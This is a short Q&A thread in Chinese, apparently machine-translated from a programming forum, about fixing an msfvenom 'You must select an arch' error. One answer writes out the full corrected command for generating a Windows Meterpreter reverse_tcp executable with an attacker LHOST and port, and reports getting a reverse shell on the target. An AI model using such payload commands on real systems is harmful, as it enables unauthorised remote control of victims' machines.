root@kali:~# msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -f exe
Attempting to read payload from STDIN...
You must select an arch for a custom payload
我现在已经谷歌搜索了一段时间,没有任何积极的结果。
任何人都可以告诉我'You must select an arch for a custom payload'
的含义吗?
答案 0 :(得分:2)
如果你去msfvenom -h它会提供帮助。您将看到设置体系结构的命令是'-a',您需要将其设置为x86或您想要的任何其他体系结构。所以你的命令看起来像
msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe
但您实际上需要通过在有效负载描述前包含'-p'来指定有效负载,因此您的命令看起来像msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe
。它会抱怨没有选择平台所以它为你选择了一个...“没有选择平台,从有效载荷中选择Msf :: Module :: Platform :: Windows”,然后你会得到“找到0兼容的编码器” ,只是忽略它。输入“file yourexploit.exe”,它应该给你一些说PE32可执行文件的数据....然后你就可以了。我只想出了这个,它对我有用,在我的目标中运行.exe并获得反向shell。祝你好运!
答案 1 :(得分:-1)
你好像从网上复制了 msfvenom 的命令。
在你的命令中 -p 不是实际的 -p(这是一个与 Unicode 相关的问题),用你自己的键盘重写 -p 可以解决这个问题。